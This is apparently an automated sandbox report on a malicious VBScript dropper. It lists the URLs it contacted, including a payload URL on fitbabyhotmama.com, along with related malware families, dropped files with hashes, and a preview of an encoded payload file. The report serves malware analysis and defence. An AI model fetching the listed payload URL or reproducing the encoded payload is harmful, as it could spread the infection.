https://contoso.com/Icon	powershell.exe, 0000000B.00000002.2489391953.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fitbabyhotmama.com/un	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000003.00000002.2472357025.0000020BFDA0B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.3.dr	false		high
https://fitbabyhotmama.com/unc	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/uncomm	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	false		high
http://fitbabyhotmama.com	powershell.exe, 00000001.00000002.1346705412.000002399E979000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/uncommensurat	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.3.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.3.dr	false		high
https://fitbabyhotmama.co	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000003.00000003.1203825789.0000020BFD952000.00000004.00000800.00020000.00000000.sdmp, edb.log.3.dr	false		high
https://aka.ms/pscore6lB	powershell.exe, 0000000B.00000002.2472228641.00000000049F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fitbabyhotmama.com/uncommensu	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/uncom	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/uncommensurately.dwpP	powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000000B.00000002.2489391953.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fitbabyhotmama.com/unco	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1376251032.00000239ADAD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2489391953.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fitbabyhotmama.com/uncommensurately.dw	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/uncommensur	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1346705412.000002399DA61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fitbabyhotmama.com/u	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/uncommensurately.d	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com	powershell.exe, 00000001.00000002.1346705412.000002399DC84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399E973000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/uncommen	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/uncommens	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/uncommensurately.dwpXR	powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1346705412.000002399DA61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2472228641.00000000049F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fitbabyhotmama.c	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000003.00000003.1203825789.0000020BFD952000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	false		high
https://fitbabyhotmama.com/uncommensurate	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
195.191.149.35	fitbabyhotmama.com	Bulgaria		201200	SUPERHOSTING_ASBG	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1658270
Start date and time:	2025-04-07 14:14:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Rendeles nr13252436324563635635464574544545445474.vbs
Detection:	MAL
Classification:	mal92.troj.expl.evad.winVBS@7/13@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 62 Number of non-executed functions: 14
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 23.204.23.20, 204.79.197.222, 20.12.23.50
Excluded domains from analysis (whitelisted): fp.msedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, c.pki.goog, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7912 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8044 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:15:13	API Interceptor	1x Sleep call for process: wscript.exe modified
08:15:15	API Interceptor	2x Sleep call for process: svchost.exe modified
08:15:16	API Interceptor	87x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	83.147.240.230 (5).bat	Get hash	malicious	Unknown	Browse	199.232.214.172
	MinecraftLauncher.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	#U8f6f#U4ef6#U5305_1.0.2.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.214.172
	Dinesh Venkatsubramaniam shared _Approved budget 2025_ with you.msg	Get hash	malicious	Unknown	Browse	199.232.214.172
	Sofortige Lieferung der beigefugten Artikel 07.04.2025.vbs	Get hash	malicious	GuLoader	Browse	199.232.210.172
	Boxerism.vbs	Get hash	malicious	GuLoader	Browse	199.232.214.172
	WPyh7nxk3X.xlsx	Get hash	malicious	Unknown	Browse	199.232.210.172
	#U0410#U043a#U0446i#U044f Defender ARMY (2).xlsm	Get hash	malicious	Unknown	Browse	199.232.210.172
	7 51324.xlsm	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://dd4.cewal.fun/906dbd852e21bfdd5b13cfa79aa1ff65be9543092b3ddd2d.pot	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SUPERHOSTING_ASBG	cbr.sh4.elf	Get hash	malicious	Mirai	Browse	185.45.66.47
	cbr.x86.elf	Get hash	malicious	Mirai	Browse	185.45.66.53
	jklspc.elf	Get hash	malicious	Unknown	Browse	185.45.66.47
	DeltaClient.exe	Get hash	malicious	XWorm	Browse	195.191.149.84
	aV2ffcSuKl.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer, PureLog Stealer, Stealc, SystemBC, Vidar	Browse	185.45.66.104
	Hilix.x86.elf	Get hash	malicious	Mirai	Browse	185.45.66.17
	Hilix.arm6.elf	Get hash	malicious	Mirai	Browse	185.45.66.33
	kzTq7Bt.exe	Get hash	malicious	Unknown	Browse	185.45.67.111
	https://ntn.soundestlink.com/ce/c/6791a1901a08e1b6b4b6c681/67927b1c53d4622d21a468a9/67927b35bec0600a564fee48?signature=8c313b0786a5f423814bfacc6fec5c7a43f9f684cd18a4ce532756c9e47a7d61	Get hash	malicious	Unknown	Browse	195.191.148.176
	frosty.arm.elf	Get hash	malicious	Mirai	Browse	185.45.66.26

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://berzl-treppenbau.de/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	195.191.149.35
	PURCHASE ORDER - PI.js	Get hash	malicious	Remcos	Browse	195.191.149.35
	Sofortige Lieferung der beigefugten Artikel 07.04.2025.vbs	Get hash	malicious	GuLoader	Browse	195.191.149.35
	Boxerism.vbs	Get hash	malicious	GuLoader	Browse	195.191.149.35
	SecuriteInfo.com.Win32.MalwareX-gen.8261.25530.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	195.191.149.35
	SD6789000900KJ20.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	195.191.149.35
	confirmation 0048349458.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	195.191.149.35
	PO NO.93053034 400 pieces 02.04.2025.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	195.191.149.35
	datasheet VALVES.exe	Get hash	malicious	AgentTesla	Browse	195.191.149.35
	YASAR_SIZDIRMAZLIK SIPARIS FORMU RAPORU Rec. N0 r323282 .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	195.191.149.35

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073530944496843
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrZ:KooCEYhgYEL0In
MD5:	CA0367F8FE637B0A39DC4EBB68D84765
SHA1:	3F79F44ED55AF46590F60A7403B53B9B62F8A89E
SHA-256:	02660A32A538DD6B5DBB8D7CBE0FECE18AEFE8498166168C995C3C696F4A9428
SHA-512:	365BC0D1C3BF095ABE0CE57DC66D39B84569A54AE9BBBC7871119FF0323A089DC0E8BC875B518973196E672231E04C854AE2D68D23EBEE4EFB7B0E9681D52C4D
Malicious:	false
Reputation:	low
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa445f477, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42216756845299785
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	665495A267BA952EEB85238CE4AD6BA4
SHA1:	3779205F89FDB526E7B2A55D480BFB4C9A9ABDFB
SHA-256:	8D4C04AC89ADDCB030E7A5698A5AF7C43AD8B5C153101767427B219893DBD6AB
SHA-512:	6F19340F4F89C774D6DB10CEC60219BC49927B24F32D56CFF3C98EFF4C767EC6C6EF79BDB4359275989D9CEC62A1DBF9A363EB3B70570599807266360DD30942
Malicious:	false
Reputation:	low
Preview:	.E.w... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................(q.......}.....................9.....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07666639076253987
Encrypted:	false
SSDEEP:	3:DBeW8YedSihBCjn13a/PqMhYmollcVO/lnlZMxZNQl:dWzdRu53qPGOewk
MD5:	13C9B4990469B521E3822011C7EB62FE
SHA1:	DF1D687314EF1722DC45876CA64755F9F09081ED
SHA-256:	EF56A10561F2117330494E0391960E0C5BD3FAE978A7CCAF8E66AE36C3C69221
SHA-512:	DB76DE2056822F814E2E4C3BEC836072DC9ED1CFC44908801C6082E587B1931E5EF5F6E54BD2E365F42C8A64DA88D5DE9A6BB63693B506F11726047B8FD312D1
Malicious:	false
Reputation:	low
Preview:	.d;.....................................;...{.......}.......{A..............{A......{A..........{A]...................9.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 73305 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	73305
Entropy (8bit):	7.996028107841645
Encrypted:	true
SSDEEP:	1536:krha8mqJ7v3CeFMz/akys7nSTK7QMuK+C/Oh5:kAOFq+Mba9Ok7C/O/
MD5:	83142242E97B8953C386F988AA694E4A
SHA1:	833ED12FC15B356136DCDD27C61A50F59C5C7D50
SHA-256:	D72761E1A334A754CE8250E3AF7EA4BF25301040929FD88CF9E50B4A9197D755
SHA-512:	BB6DA177BD16D163F377D9B4C63F6D535804137887684C113CC2F643CEAB4F34338C06B5A29213C23D375E95D22EF417EAC928822DFB3688CE9E2DE9D5242D10
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....Y.......,...................I.................;Za. .authroot.stl.98.?.6..CK..<Tk......4..c... .Ec...U.d.d.E&I.DH..M.KB."..rK.RQ..}f..f...}..1....9...........$.8q..fa...7.o.1.0...bfsM4.........u..l..0..4.a.t....0.....6#....n. :... ....%.,CQ5uU..(.3.<7#.0..JN.$...=j\|w...#.oU..Eq[..P..^..~.V...;..m...I\|...l..@-W..=.QQ.._./.M.nZ..(.........`.$Z.9wW:W.]..8E.......I.D{..n...K:.m..^.(.S.......c..s.y..<...2.%o.o.....H.B.R.....11.\|!.(...........h.SZ........<...^....Z>.Pp?... .pT@p.#.&..........#VEV=.....p........y..."T=l.n..egf.w..X.Y..-G...........KQ.]...pM..[m..-6.wd:........T...:.P5Zs....c.oT`..F1#......EuD.......7....V ..-....!.N..%S...k...S. ...@.J..../..b!B.(=\../.l......`.\...q9..>4!b..8EH.....zdy.....#...X>%0w...i.,>c.z.g"p.S..2W.+mMs.....5Def.....#._D.4....>}...i...\.&`D.......z;..ZY.3.+t.`....z_.q'w.z.)..j3.+.co.s..:.........qK...{...E....uPO...#vs.XxH.B!..(t. 8k+.....G\..?..GF8....'..w.>.ms..\ve.nFN..W)....xi..u..5.f.l....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.281075686694808
Encrypted:	false
SSDEEP:	6:kKtMgmcQRnSN+SkQlPlEGYRMY9z+4KlDA3RUeqpGVuys1:FMgmfZkPlE99SNxAhUeq8S
MD5:	0FA1973D3F47FF4CDC07B754F6264FCC
SHA1:	5BE05550377E69E0B125E9F59CD3B4F3A5924EE2
SHA-256:	1E7F4FF91213109EBA1304F1134E8E6F9488E346D2086A78336BB1D137D8F47A
SHA-512:	27CB929A91AEF45F1E1AC6C717EDB0A89960657B4496C18D54DA4FED023269E4CE04D64262EFF8E2502C06A25BE25A3D42A9FCD658259A16BF3315ECAEB48723
Malicious:	false
Reputation:	low
Preview:	p...... ................(....................................................... ..................(....c*.....Y...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".6.4.2.7.f.6.c.2.b.7.8.7.d.b.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_22nd0jpy.mll.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_js2ezsot.nci.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_opo4vz0b.hnm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tupitnx4.qq0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Lithochemistry.Uva

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	568176
Entropy (8bit):	5.965082401248603
Encrypted:	false
SSDEEP:	12288:177/j8xngUkxyfTtH+rzGHSk+/6FXAEd42X+UdsC7kC+bfd/Gg:1vmngi9+vGyEiM/qeMbBGg
MD5:	3717FE1DCBCF8079DA3B59607EFBBB5A
SHA1:	F5038DADE6E8A2ABB48E439497A21C3988CC9C53
SHA-256:	169594A9240DA4BAAE4614A5BF1C51C50615242AE04664DBFBECE76317163943
SHA-512:	70FEDEDF6B5E8ADC72BE1D1B4D9FC77D381E484B77E5C4DF9E101458A4016723B46683B8F90BD95205541958334079FD25E5A89FAA9B72220B410379B9D5D53B
Malicious:	false
Preview:	Zg/85esgVJ3gvOWQiGpJ4wfhEDpq7CZGuePSHN0UWvgyJ6vDl1rB7wBmD9jb60HQFnG/t33rPyaqrUmpCaQ3iVuuSpvSguvK1raChD9o7bMOjxHX85LxaO04wcVMR5M5T1mBmujT48mu1VOp+oMP4A/Yz+sdH3wL9oBtJUxgfwuhEzNLkCrj6cpAtSkCIRAjeNy7VlgYANn56y20D71T/XTmhKUgztvljHWjOYJfI60JSAJZtGBQWAffCYRXM2nWsa+JMIvRN7oEAOseSUR6dGk2KTzjRFIYE2jkaXVChTcD4YyjeioZCJZWA1wkBA9q6+sR7W2xSBQ6Ot//hUGOUm9s0kaQD2Tn6xNs/bQgBnnaVFhS2lD0d1QLZOi2uUxJ4EHZ8esFKUV83JOB8bZFDcHY3ustHgF3Yd+fSR4NQDkxdMyOW8KWaX3PguRJxkSdqLFxgmowt2tMSIx20R0F4Fp9gen6DO2A2N/rOhqYk4cAOTZR8sH7w1JFN2c9+iMIwh3sTFanFod1SoK7AXRDrQiEHS00dGKQifGw1YlULIwGSDAeJdxmg/AAD/ri6wZNncsesJS6ksaMy2YP/N7rRpjyfkJOdXjBbuO+ifi8M0K1xIAB/IOyQFUrAQa34DV83dPD6xyWyJkz8Gi3/a+1cWsmhCVu7KLEDiRCFNnzHQa3+P/6sFZmgfuOw97h61tFxssK4Mbqb/VGeHmt7KoBCsNHIWSWkSy6TaXA7sk0GR3YOLl2jAd5GIwFqkPt8+GjULvn8as2+MrtIs9X3TcI4XWPUzXAx6eFLl/vt3mo/HtNGlUixEJngqtz2eTrIdex7EA48kQCkJA+VVErhpmYTSmEIwoQ1bUoMJRYYKRzP/xmD2f8601Izfl45TZLj94HMgqUgoB3nDoCuZedFoMWT75RcZFKucweXHXARx8BB2IwBw5tovSAq7568JK9nYOTZvPYxMaaLmDuZcf3vigu4Nt9yDHK3srrIZjzZ9Vi

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (2066), with CRLF line terminators
Entropy (8bit):	5.264648863248813
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	Rendeles nr13252436324563635635464574544545445474.vbs
File size:	34'289 bytes
MD5:	8b889d5bd26d96b38dae1a58aeb296fa
SHA1:	fbafcc56615b6f5650c9e29278a185ccd94773fb
SHA256:	58418d0ab74530cc13a36b14a6288916250cdffb664e8cc57293119746993d21
SHA512:	672b7a884b6634b7b2bf3c8decca3cf6e27a853ee51dc76ddff12bfcc2f02cd8d80501df571ae0f42febc59b0905f6de0bdab47986ff58a945b5de8caee6a693
SSDEEP:	768:zeifDm/2ZBfhPM9g2vSJv/FAZTmHoKWQGuiv18mEy3+:NfDPDfhkpSJnaFOoDuW18vy3+
TLSH:	44F26B91FD60066A4D4B23BAEC951B70C5B982160A1700B6FEED734C5406AACF7FE71E
File Content Preview:	Function Ginks....while (Udpolstringernesbrugervej<60)..Udpolstringernesbrugervej = Udpolstringernesbrugervej + 1..Erwinsvideresendelser = Erwinsvideresendelser * (0+1)..wend....'Strutmavers originalfragmenternes! cosen: misbehadden. skun..'Bavnehje144 sk

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Download Network PCAP: filtered – full

